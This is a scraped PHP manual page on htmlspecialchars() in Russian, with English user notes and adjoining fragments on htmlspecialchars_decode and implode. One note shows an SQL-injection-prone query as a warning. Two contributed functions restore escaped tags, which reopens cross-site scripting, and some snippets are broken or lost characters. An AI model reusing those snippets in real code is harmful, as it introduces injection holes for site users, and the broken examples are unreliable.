There is, unfortunately, no reliable way to determine whether HTML is escaped or not that does not come with this caveat that I know of. Rather than try and catch the case 'I've already encoded this', you are better off avoiding double-escaping by simply escaping the HTML as close to the actual output as you can muster, e.g. in the view in an MVC development structure.
benharold at mac dot com 26-Jan-2009 04:48
or of course:

<?php

$var = "Blue & yellow make green.";

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // outputs Blue &amp; yellow make green.

// you can do it a bunch of times, it still won't screw you!

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // still outputs Blue &amp; yellow make green.

?>

Put it in a function. Add it to the method of some abstract data class.
benharold at mac dot com 26-Jan-2009 01:30
If you use `htmlspecialchars()` to change things like the ampersand (&) into it's HTML equivalent (&amp;), you might run into a situation where you mistakenly pass the same string to the function twice, resulting in things appearing on your website like, as I call it, the ampersanded amp; "&amp;". Clearly nobody want's "&amp;" on his or her web page where there is supposed to be just an ampersand. Here's a quick and easy trick to make sure this doesn't happen:

<?php

$var = "This is a string that could be passed to htmlspecialchars multiple times.";

if (htmlspecialchars_decode($var) == $var) {
    $var = htmlspecialchars($var);
}

echo $var;

?>

Now, if your dealing with text that is a mixed bag (has HTML entities and non-HTML entities) you're on your own.
thomas at xci[ignore_this]teit dot commm 28-Mar-2008 03:03
The example for "htmlspecialchars_decode()" below sadly does not work for all PHP4 versions.

Quote from the PHP manual:
"get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities()."

But it does NOT! At least not for PHP version 4.4.2.
This was already reported in a bug report (http://bugs.php.net/bug.php?id=25927), but it was marked as BOGUS.

Proof:
  Code:
--------------------
<?php
    var_dump(get_html_translation_table(HTML_SPECIALCHARS,ENT_QUOTES));
    var_dump(htmlspecialchars('\'',ENT_QUOTES));
?>
--------------------

  Output:
--------------------
array
  '"' => '&quot;'
  ''' => '&#39;'
  '<' => '&lt;'
  '>' => '&gt;'
  '&' => '&amp;'

'&#039;'
--------------------

This comment now is not to report this bug again (though I really believe it is one), but to complete the example and warn people of this pitfall.

To make sure your htmlspecialchars_decode fake for PHP4 works, you should do something like this:

<?php
    function htmlspecialchars_decode($string,$style=ENT_COMPAT)
    {
        $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
        if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
        return strtr($string,$translation);
    }
?>

Br, Thomas
17-Aug-2006 05:49
This should be the best way to do it.
(Reposted because the other one seems a bit slower and because those who used the code under called it htmlspecialchars_decode_php4)

<?php

if ( !function_exists('htmlspecialchars_decode') )
{
    function htmlspecialchars_decode($text)
    {
        return strtr($text, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
    }
}

?>
or-k at or-k dot com 14-Sep-2005 02:15
that works also with &auml; and &quot; and so on.
get_html_translation_table(HTML_ENTITIES) => offers more characters than HTML_SPECIALCHARS

function htmlspecialchars_decode_PHP4($uSTR)
{
 return strtr($uSTR, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
}
geoffers@gmail 14-Jul-2005 06:38
[Update of previous note, having noticed I forgot to put in quote style]

PHP4 Compatible function:

<?php

function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
}

?>
geoffers at gmail dot com 14-Jul-2005 06:30
For PHP4 Compatibility:

<?php

function htmlspecialchars_decode_php4 ($str) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
}

?>


Преобразовывает специальные символы в HTML-сущности

  • « htmlspecialchars_decode
  • implode »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает специальные символы в HTML-сущности

htmlspecialchars

(PHP 4, PHP 5, PHP 7, PHP 8)

htmlspecialchars — Преобразовывает специальные символы в HTML-сущности

Описание

htmlspecialchars(
string $string,
int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
?string $encoding = null,
bool $double_encode = true
): string

Ряд символов в HTML несёт отдельный смысл и для сохранения значения такие символы представляют HTML-сущностями. Функция возвращает строку с этими преобразованиями. Вместо этой функции вызывают функцию htmlentities(), когда требуется перевести каждую входную подстроку, у которой есть связанная именованная сущность.

Если у входной строки, которую передали в эту функцию, и результирующего документа одинаковый набор символов, то этой функции хватит, чтобы подготовить входные данные для вставки в бо?льшую часть контекстов HTML-документа. Однако, если данные содержат символы, которые не закодированы в наборе символов результирующего документа, и требуется сохранить эти символы (как числовые или именованные сущности), то как этой функции, так и функции htmlentities() (которые преобразовывают только подстроки, у которых есть эквивалентные именованные сущности), будет недостаточно. Вместо них пользуются функцией mb_encode_numericentity().

Преобразования
Символ | Замена
& (амперсанд) | &amp;
" (двойные кавычки) | &quot;, без флага ENT_NOQUOTES
' (одинарные кавычки) | &#039; для документов стандарта ENT_HTML401 или &apos; для документов стандартов ENT_XML1, ENT_XHTML или ENT_HTML5, но только с флагом ENT_QUOTES
< (меньше) | &lt;
> (больше) | &gt;

Список параметров

string

Конвертируемая строка (string).

flags

Битовая маска из следующих флагов, которые определяют, как обрабатывать кавычки, неправильные последовательности кодовых единиц и тип документа. Флаги по умолчанию: ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Доступные значения параметра flags
Название константы | Описание
ENT_COMPAT | Преобразовывает двойные кавычки, одинарные кавычки не изменяются.
ENT_QUOTES | Преобразовывает как двойные, так и одинарные кавычки.
ENT_NOQUOTES | Оставляет без изменения как двойные, так и одинарные кавычки.
ENT_IGNORE | Без предупреждения отбрасывает неправильные последовательности кодовых единиц вместо возврата пустой строки. Передача этого флага не рекомендуется, поскольку это » небезопасно.
ENT_SUBSTITUTE | Заменяет неправильные последовательности кодовых единиц символом замены Юникода вместо возврата пустой строки: U+FFFD для строк в кодировке UTF-8 и &#FFFD; для строк в других кодировках.
ENT_DISALLOWED | Заменяет неверные кодовые точки для заданного типа документа символом замены юникода U+FFFD для строк в кодировке UTF-8 или &#FFFD; для строк в других кодировках вместо того, чтобы оставлять всё как есть. Это бывает полезно для правильного оформления XML-документов, в которые встроили внешнее содержимое.
ENT_HTML401 | Обрабатывает код по правилам стандарта HTML 4.01.
ENT_XML1 | Обрабатывает код по правилам стандарта XML 1.
ENT_XHTML | Обрабатывает код по правилам стандарта XHTML.
ENT_HTML5 | Обрабатывает код по правилам стандарта HTML 5.

encoding

Необязательный аргумент, который определяет кодировку для преобразования символов.

Функция примет за значение по умолчанию для параметра encoding значение опции конфигурации default_charset, если параметр опустили.

Хотя технически этот аргумент необязателен, настоятельно рекомендуется указать правильное значение для кода, на случай если значение опции default_charset окажется неправильным для входных данных.

Для целей этой функции кодировки ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252 и KOI8-R практически эквивалентны, при условии, что сама строка string содержит допустимые для заданной кодировки символы, поскольку символы, которые изменяет функция htmlspecialchars(), занимают одинаковые позиции в перечисленных кодировках.

Функция поддерживает следующие кодировки:

Кодировки, которые поддерживает функция
Кодировка | Псевдонимы | Описание
ISO-8859-1 | ISO8859-1 | Западно-Европейская кодировка с набором символов Latin-1.
ISO-8859-5 | ISO8859-5 | Кириллическая кодировка с набором символов Latin/Cyrillic; применяют редко.
ISO-8859-15 | ISO8859-15 | Западно-Европейская кодировка с набором символов Latin-9. Добавляет к набору символов Latin-1 кодировки ISO-8859-1 знак евро, французские и финские буквы.
UTF-8 | ASCII-совместимая многобайтовая 8-битная кодировка Unicode.
cp866 | ibm866, 866 | Кириллическая кодировка, которую применяют в семействе операционных систем DOS.
cp1251 | Windows-1251, win-1251, 1251 | Кириллическая кодировка, которую применяют в операционных системах Windows.
cp1252 | Windows-1252, 1252 | Западно-Европейская кодировка, которую применяют в операционных системах Windows.
KOI8-R | koi8-ru, koi8r | Русская кодировка.
BIG5 | 950 | Кодировка с набором символов Traditional Chinese (Традиционный китайский), которую применяют в основном на Тайване.
GB2312 | 936 | Стандартная национальная кодировка с набором символов Simplified Chinese (Упрощённый китайский).
BIG5-HKSCS | Кодировка Big5 с расширениями для Гонконга с набором символов Traditional Chinese (Традиционный китайский).
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Японская кодировка.
EUC-JP | EUCJP, eucJP-win | Японская кодировка.
MacRoman | Кодировка, которую использовала операционная система Mac OS.
'' Пустая строка активирует режим определения кодировки из файла скрипта (Zend multibyte), директивы default_charset и текущей локали (смотрите описание функций nl_langinfo() и setlocale()), в перечисленном порядке. Не рекомендуется использовать.

Замечание: Другие кодировки функция не распознаёт. Вместо других кодировок функция будет использовать кодировку по умолчанию и выдаст предупреждение.

double_encode

Когда параметр double_encode отключён, PHP не будет кодировать существующие HTML-сущности. По умолчанию функция преобразовывает каждый символ.

Возвращаемые значения

Функция возвращает преобразованную строку (string).

Функция вернёт пустую строку, если входная строка string содержит недопустимую для кодировки encoding последовательность кодовых единиц, если только не установили флаг ENT_IGNORE или ENT_SUBSTITUTE.

Список изменений

Версия | Описание
8.1.0 | Значение по умолчанию для параметра flags изменили с ENT_COMPAT на ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Примеры

Пример #1 Пример использования функции htmlspecialchars()

<?php

$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

?>

Примечания

Замечание:

Обратите внимание, функция выполняет только описанные преобразования. Для преобразования всех символов вызывают функцию htmlentities().

Замечание:

Когда значение параметра flags неоднозначно, функция применяет следующие правила:

  • Значением по умолчанию становится флаг ENT_NOQUOTES, если одновременно отсутствуют флаги ENT_COMPAT, ENT_QUOTES и ENT_NOQUOTES.
  • Если одновременно присутствуют два или более флага ENT_COMPAT, ENT_QUOTES и ENT_NOQUOTES, у флага ENT_QUOTES будет больший приоритет. Следующим по приоритету будет флаг ENT_COMPAT.
  • Флагом по умолчанию становится флаг ENT_HTML401, если не установили ни одну из констант ENT_HTML401, ENT_HTML5, ENT_XHTML и ENT_XML1.
  • Если одновременно установили больше одного флага ENT_HTML401, ENT_HTML5, ENT_XHTML, ENT_XML1, приоритет будет таким: ENT_HTML5, затем ENT_XHTML, ENT_XML1, а потом флаг ENT_HTML401.
  • Если одновременно установили больше одного флага ENT_DISALLOWED, ENT_IGNORE, ENT_SUBSTITUTE, высший приоритет будет у флага ENT_IGNORE, а следующий за ним — у флага ENT_SUBSTITUTE.

Смотрите также

  • get_html_translation_table() - Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities
  • htmlspecialchars_decode() - Преобразовывает специальные HTML-сущности обратно в символы
  • strip_tags() - Удаляет теги HTML и PHP из строки
  • htmlentities() - Преобразовывает возможные символы в HTML-сущности
  • nl2br() - Вставляет HTML-код разрыва строки перед каждым переводом строки

User Contributed Notes

Daniel Klein 06-Jul-2022 11:16
Because the documentation says

int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401

you would think that ENT_HTML401 is important. But as the notes mention, ENT_HTML401 is the default if you don't specify the doc type. This is because ENT_HTML401 === 0. So

int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401

is exactly equivalent to

int $flags = ENT_QUOTES | ENT_SUBSTITUTE
Killian Leroux 16-Mar-2022 10:33
Thanks Thomasvdbulk for your workaround, I would like to add a precision:

When the HTML contains a link tag without new line before the script doesn't work :/

Your example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

Works but this doesn't work:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br /><a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

So I add a little workaround at the beginning (before htmlspecialchars):

<?php
$text = preg_replace('/<a/', "\r\n<a", $text);
?>

I don't like that but I don't find other solution... :/
ASchmidt at Anamera dot net 02-Apr-2021 08:48
One MUST specify ENT_HTML5 in addition to double_encode=false to avoid double-encoding.

The reason is that contrary to the documentation, double_encode=false will NOT unconditionally and globally prevent double-encoding of ALL existing entities. Crucially, it will only skip double-encoding for THOSE character entities that are explicitly valid for the document type chosen!

Since ENT_HTML5 references the most expansive list of character entities, it is the only setting that will be most lenient with existing character entities.

<?php
declare(strict_types=1);
$text = 'ampersand(&amp;), double quote(&quot;), single quote(&apos;), less than(&lt;), greater than(&gt;), numeric entities(&#x26;&#x22;&#x27;&#x3C;&#x3E;), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;&euro;)';
$result3 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );
$result4 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_XML1 | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );
$result5 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_XHTML | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );
$result6 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_HTML5 | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );

echo "<br />\r\nHTML 4.01:<br />\r\n", $result3,
    "<br />\r\nXML 1:<br />\r\n", $result4,
    "<br />\r\nXHTML:<br />\r\n", $result5,
    "<br />\r\nHTML 5:<br />\r\n", $result6, "<br />\r\n";
?>

will produce:

HTML 4.01 (will NOT recognize single quote, but Euro):
ampersand(&), double quote("), single quote(&apos;), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;€)

XML 1 (WILL recognize single quote, but NOT Euro):
ampersand(&), double quote("), single quote('), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;&euro;)

XHTML (recognizes single quote and Euro):
ampersand(&), double quote("), single quote('), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;€)

HTML 5 (recognizes "all" valid character entities):
ampersand(&), double quote("), single quote('), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(+,!$(n€)
qshing1437 at hotmail dot com 22-Jul-2019 05:11
If you use htmlspecialchars() to escape any HTML attribute, make sure use double quote instead of single quote for the attribute.

For Example,

> Wrap with Single Quote
<?php
echo "<p title='"  . htmlspecialchars("Hello\"s\'world") . "'">

// title will end up Hello"s\ and rest of the text after single quote will be cut off.
?>

> Wrap with Double quote :
<?php
echo '<p title="'  . htmlspecialchars("Hello\"s\'world") . '"'>

// title will show up correctly as Hello"s'world
?>
PoV 17-May-2015 11:59
Be aware of the encoding of your source files!!!

Some of the suggestions here make reference to workarounds where you hard-code an encoding.

<?php
  echo htmlspecialchars('<b>Wormann</b>');  // Why isn't this working?
?>

As it turns out, it may actually be your text editor that is to blame.

As of PHP 5.4, htmlspecialchars now defaults to the UTF-8 encoding. That said, many text editors default to non-UTF encodings like ISO-8859-1 (i.e. Latin-1) or WIN-1252. If you change the encoding of the file to UTF-8, the code above will now work (i.e. the o is encoded differently in UTF-8 and ISO-8859-1, and you need the UTF-8 version).

Make sure you are editing in UTF-8 Unicode mode! Check your UI or manual for how to convert files to Unicode. It's also a good idea to figure out where to look in your UI to see what the current file encoding is.
Felix D. 09-Jan-2014 11:00
Another thing important to mention is that
htmlspecialchars(NULL)
returnes an empty string and not NULL!
support at playnext dot ru 03-Oct-2013 08:31
For those having problems after the change of default value of $encoding argument to UTF-8 since PHP 5.4.

If your old non-UTF8 projects ruined - pls consider:
1. http://php.net/manual/en/function.override-function.php
2. http://php.net/manual/ru/function.runkit-function-redefine.php

The idea - you override the built-in htmlspecialchars() function with your customized variant which is able to respect non UTF-8 default encoding. This small piece of code can be then easily inserted somewhere at the start of yout project. No need to rewrite all htmlspecialchars() entries globally.

I've spent several hours with both approaches. Variant 1 looks good especaially in combination with http://www.php.net/manual/en/function.rename-function.php as it allows to call original htmlspecialchars() with just altered default args. The code could be as follows:

<?php
rename_function('htmlspecialchars', 'renamed_htmlspecialchars');
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='cp1251', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    return renamed_htmlspecialchars($string, $flags, $encoding, $double_encode);
}
override_function('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

Unfortunatelly this didn't work for me properly - my site managed to call overriden function but not every time I reloaded the pages. Moreover other PHP sites crashed under my Apache server as they suddenly started blaming htmlspecialchars() was not defined. I suppose I had to spend more time to make it work thread/request/site/whatever-safe.

So I switched to runkit (variant 2). It worked for me, although even after trying runkit_function_rename()+runkit_function_add() I didn't managed to recall original htmlspecialchars() function. So as a quick solution I decided to call htmlentities() instead:

<?php
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='UTF-8', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    $encoding = $encoding ? $encoding : 'cp1251';
    return htmlentities($string, $flags, $encoding, $double_encode);
}
runkit_function_redefine('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

You may be able to implement your more powerfull overriden function.
Good luck!
Dave 20-Jun-2013 11:59
As of PHP 5.4 they changed default encoding from "ISO-8859-1" to "UTF-8". So if you get null from htmlspecialchars or htmlentities

where you have only set
<?php
echo htmlspecialchars($string);
echo htmlentities($string);
?>

you can fix it by
<?php
echo htmlspecialchars($string, ENT_COMPAT,'ISO-8859-1', true);
echo htmlentities($string, ENT_COMPAT,'ISO-8859-1', true);
?>

On linux you can find the scripts you need to fix by

grep -Rl "htmlspecialchars\\|htmlentities" /path/to/php/scripts/
minder at ufive dot unibe dot ch 19-May-2013 01:06
Problem

In many PHP legacy products the function htmlspecialchars($string) is used to convert characters like < and > and quotes a.s.o to HTML-entities. That avoids the interpretation of HTML Tags and asymmetric quote situations.

Since PHP 5.4 for $string in htmlspecialchars($string) utf8 characters are expected if no charset is defined explicitly as third parameter in the function. Legacy products are mostly in Latin1 (alias iso-8859-1) what makes the functions htmlspecialchars(), htmlentites() and html_entity_decode() to return empty strings if a special character, e. g. a German Umlaut, is present in $string:

PHP<5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('Wormann') //Output: &lt;b&gt;Wormann&lt;b&gt;

PHP=5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('<b>Wormann</b>') //Output: empty

Three alternative solutions

a) Not runnig legacy products on PHP 5.4
b) Change all find spots in your code from
htmlspecialchars($string) and *** to
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'ISO-8859-1')
c) Replace all htmlspecialchars() and *** with a new self-made function

*** The same is true for htmlentities() and html_entity_decode();

Solution c

1 Make Search and Replace in the concerned legacy project:
Search for:        htmlspecialchars
Replace with:   htmlXspecialchars
Search for:        htmlentities
Replace with:   htmlXentities
Search for:        html_entity_decode
Replace with:   htmlX_entity_decode
2a Copy and paste the following three functions into an existing already everywhere included PHP-file in your legacy project. (of course that PHP-file must be included only once per request, otherwise you will get a Redeclare Function Fatal Error).

function htmlXspecialchars($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlspecialchars($string, $ent, $charset);
}

function htmlXentities($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlentities($string, $ent, $charset);
}

function htmlX_entity_decode($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return html_entity_decode($string, $ent, $charset);
}

or 2b crate a new PHP-file containing the three functions mentioned above, let's say, z. B. htmlXfunctions.inc.php and include it on the first line of every PHP-file in your legacy product like this: require_once('htmlXfunctions.inc.php').
Mike Robinson 14-Mar-2013 12:46
Unfortunately, as far as I can tell, the PHP devs did not provide ANY way to set the default encoding used by htmlspecialchars() or htmlentities(), even though they changed the default encoding in PHP 5.4 (*golf clap for PHP devs*). To save someone the time of trying it, this does not work:

<?php
ini_set('default_charset', $charset); // doesn't work.
?>

Unfortunately, the only way to not have to explicitly provide the second and third parameter every single time this function is called (which gets extremely tedious) is to write your own function as a wrapper:

<?php
define('CHARSET', 'ISO-8859-1');
define('REPLACE_FLAGS', ENT_COMPAT | ENT_XHTML);

function html($string) {
    return htmlspecialchars($string, REPLACE_FLAGS, CHARSET);
}

echo html("n"); // works
?>

You can do the same for htmlentities()
ivan at lutrov dot com 15-Jun-2011 01:30
Be careful, the "charset" argument IS case sensitive. This is counter-intuitive and serves no practical purpose because the HTML spec actually has the opposite.
Thomasvdbulk at gmail dot com 28-Dec-2010 10:05
i searched for a while for a script, that could see the difference between an html tag and just < and > placed in the text,
the reason is that i recieve text from a database,
wich is inserted by an html form, and contains text and html tags,
the text can contain < and >, so does the tags,
with htmlspecialchars you can validate your text to XHTML,
but you'll also change the tags, like <b> to &lt;b&gt;,
so i needed a script that could see the difference between those two...
but i couldn't find one so i made my own one,
i havent fully tested it, but the parts i tested worked perfect!
just for people that were searching for something like this,
it may looks big, could be done easier, but it works for me, so im happy.

<?php
function fixtags($text){
$text = htmlspecialchars($text);
$text = preg_replace("/=/", "=\"\"", $text);
$text = preg_replace("/&quot;/", "&quot;\"", $text);
$tags = "/&lt;(\/|)(\w*)(\ |)(\w*)([\\\=]*)(?|(\")\"&quot;\"|)(?|(.*)?&quot;(\")|)([\ ]?)(\/|)&gt;/i";
$replacement = "<$1$2$3$4$5$6$7$8$9$10>";
$text = preg_replace($tags, $replacement, $text);
$text = preg_replace("/=\"\"/", "=", $text);
return $text;
}
?>

an example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

will echo:
this is smaller &lt; than this<br />
this is greater &gt; than this<br />
this is the same = as this<br />
<a href="http://www.example.com/example.php?test=test">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...

I hope its helpfull!!
nachitox2000 [at] hotmail [dot] com 01-Jul-2010 05:57
I had problems with spanish special characters. So i think in using htmlspecialchars but my strings also contain HTML.
So I used this :) Hope it help

<?php
function htmlspanishchars($str)
{
    return str_replace(array("&lt;", "&gt;"), array("<", ">"), htmlspecialchars($str, ENT_NOQUOTES, "UTF-8"));
}
?>
Anonymous 18-Sep-2009 10:16
This may seem obvious, but it caused me some frustration. If you try and use htmlspecialchars with the $charset argument set and the string you run it on is not actually the same charset you specify, you get any empty string returned without any notice/warning/error.

<?php

$ok_utf8 = "A valid UTF-8 string";
$bad_utf8 = "An invalid UTF-8 string";

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(0) ""

var_dump(htmlspecialchars($ok_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(20) "A valid UTF-8 string"

?>

So make sure your charsets are consistent

<?php

$bad_utf8 = "An invalid UTF-8 string";

// make sure it's really UTF-8
$bad_utf8 = mb_convert_encoding($bad_utf8, 'UTF-8', mb_detect_encoding($bad_utf8));

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(23) "An invalid UTF-8 string"

?>

I had this problem because a Mac user was submitting posts copy/pasted from a program and it contained weird chars in it.
Anonymous 16-Sep-2009 09:43
Just a few notes on how one can use htmlspecialchars() and htmlentities() to filter user input on forms for later display and/or database storage...

1. Use htmlspecialchars() to filter text input values for html input tags.  i.e.,

echo '<input name=userdata type=text value="'.htmlspecialchars($data).'" />';

2. Use htmlentities() to filter the same data values for most other kinds of html tags, i.e.,

echo '<p>'.htmlentities($data).'</p>';

3. Use your database escape string function to filter the data for database updates & insertions, for instance, using postgresql,

pg_query($connection,"UPDATE datatable SET datavalue='".pg_escape_string($data)."'");

This strategy seems to work well and consistently, without restricting anything the user might like to type and display, while still providing a good deal of protection against a wide variety of html and database escape sequence injections, which might otherwise be introduced through deliberate and/or accidental input of such character sequences by users submitting their input data via html forms.
Kenneth Kin Lum 08-Oct-2008 06:45
if your goal is just to protect your page from Cross Site Scripting (XSS) attack, or just to show HTML tags on a web page (showing <body> on the page, for example), then using htmlspecialchars() is good enough and better than using htmlentities().  A minor point is htmlspecialchars() is faster than htmlentities().  A more important point is, when we use  htmlspecialchars($s) in our code, it is automatically compatible with UTF-8 string.  Otherwise, if we use htmlentities($s), and there happens to be foreign characters in the string $s in UTF-8 encoding, then htmlentities() is going to mess it up, as it modifies the byte 0x80 to 0xFF in the string to entities like &eacute;.  (unless you specifically provide a second argument and a third argument to htmlentities(), with the third argument being "UTF-8").

The reason htmlspecialchars($s) already works with UTF-8 string is that, it changes bytes that are in the range 0x00 to 0x7F to &lt; etc, while leaving bytes in the range 0x80 to 0xFF unchanged.  We may wonder whether htmlspecialchars() may accidentally change any byte in a 2 to 4 byte UTF-8 character to &lt; etc.  The answer is, it won't.  When a UTF-8 character is 2 to 4 bytes long, all the bytes in this character is in the 0x80 to 0xFF range. None can be in the 0x00 to 0x7F range.  When a UTF-8 character is 1 byte long, it is just the same as ASCII, which is 7 bit, from 0x00 to 0x7F.  As a result, when a UTF-8 character is 1 byte long, htmlspecialchars($s) will do its job, and when the UTF-8 character is 2 to 4 bytes long, htmlspecialchars($s) will just pass those bytes unchanged.  So htmlspecialchars($s) will do the same job no matter whether $s is in ASCII, ISO-8859-1 (Latin-1), or UTF-8.
php dot net at orakio dot net 10-Apr-2008 11:26
I was recently exploring some code when I saw this being used to make data safe for "SQL".

This function should not be used to make data SQL safe (although to prevent phishing it is perfectly good).

Here is an example of how NOT to use this function:

<?php
$username = htmlspecialchars(trim("$_POST[username]"));

$uniqueuser = $realm_db->query("SELECT `login` FROM `accounts` WHERE `login` = '$username'");
?>

(Only other check on $_POST['username'] is to make sure it isn't empty which it is after trim on a white space only name)

The problem here is that it is left to default which allows single quote marks which are used in the sql query. Turning on magic quotes might fix it but you should not rely on magic quotes, in fact you should never use it and fix the code instead. There are also problems with \ not being escaped. Even if magic quotes were used there would be the problem of allowing usernames longer than the limit and having some really weird usernames given they are to be used outside of html, this just provide a front end for registering to another system using mysql. Of course using it on the output wouldn;t cause that problem.

Another way to make something of a fix would be to use ENT_QUOTE or do:

<?php
$uniqueuser = $realm_db->query('SELECT `login` FROM `accounts` WHERE `login` = "'.$username.'";');
?>

Eitherway none of these solutions are good practice and are not entirely unflawed. This function should simply never be used in such a fashion.

I hope this will prevent newbies using this function incorrectly (as they apparently do).
solar-energy 16-Jun-2007 03:21
also see function "urlencode()", useful for passing text with ampersand and other special chars through url

(i.e. the text is encoded as if sent from form using GET method)

e.g.

<?php
echo "<a href='foo.php?text=".urlencode("foo?&bar!")."'>link</a>";
?>

produces

<a href='foo.php?text=foo%3F%26bar%21'>link</a>

and if the link is followed, the $_GET["text"] in foo.php will contain "foo?&bar!"
11-Mar-2005 04:22
function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
   return $rs;
}
_____ at luukku dot com 14-Sep-2002 02:21
People, don't use ereg_replace for the most simple string replacing operations (replacing constant string with another).
Use str_replace.
ryan at ryano dot net 29-Jun-2001 03:06
Actually, if you're using >= 4.0.5, this should theoretically be quicker (less overhead anyway):

$text = str_replace(array("&gt;", "&lt;", "&quot;", "&amp;"), array(">", "<", "\"", "&"), $text);


Объединяет элементы массива в строку

  • « htmlspecialchars
  • join »
  • PHP Manual
  • Функции для работы со строками
  • Объединяет элементы массива в строку

implode

(PHP 4, PHP 5, PHP 7, PHP 8)

implode — Объединяет элементы массива в строку

Описание

implode(string $separator, array $array): string

Альтернативная сигнатура (не поддерживается с именованными аргументами):

implode(array $array): string

Устаревшая сигнатура (устарела с PHP 7.4.0, удалена в PHP 8.0.0):

implode(array $array, string $separator): string

Функция присоединяет элементы массива через строку-разделитель separator.

Список параметров

separator

Необязательный. По умолчанию равен пустой строке.

array

Массив объединяемых строк.

Возвращаемые значения

Функция возвращает строку, которая содержит строковое представление элементов массива в том же порядке, со строкой-разделителем между каждым элементом.

Список изменений

Версия | Описание
8.0.0 | Функция больше не поддерживает передачу разделителя separator после массива array.
7.4.0 | Передача разделителя separator после массива array, т. е. сигнатура, которая досталась в наследство, устарела.

Примеры

Пример #1 Пример использования функции implode()

<?php

$array = ['имя', 'почта', 'телефон'];
var_dump(implode(",", $array)); // string(32) "имя,почта,телефон"

// Пустая строка при использовании пустого массива:
var_dump(implode('привет', [])); // string(0) ""

// Параметр separator не обязателен:
var_dump(implode(['a', 'b', 'c'])); // string(3) "abc"

?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • explode() - Разбивает строку разделителем
  • preg_split() - Разбивает строку по регулярному выражению
  • http_build_query() - Генерирует URL-кодированную строку запроса

User Contributed Notes

info AT sinistercircuits DOT com 13-Nov-2021 03:36
There is no mention of behavior on a empty array, so I tried it and here's the result:

<?php
$ar = array();
$result = implode(',', $ar);  // Comma arbitrarily applied as the separator
$is_result_empty = empty($result);
?>

$result:
$is_result_empty: 1

In other words, an empty string is the result.
biziclop 09-Apr-2021 10:30
Sometimes it's necessary to add a string not just between the items, but before or after too, and proper handling of zero items is also needed.
In this case, simply prepending/appending the separator next to implode() is not enough, so I made this little helper function.

<?php

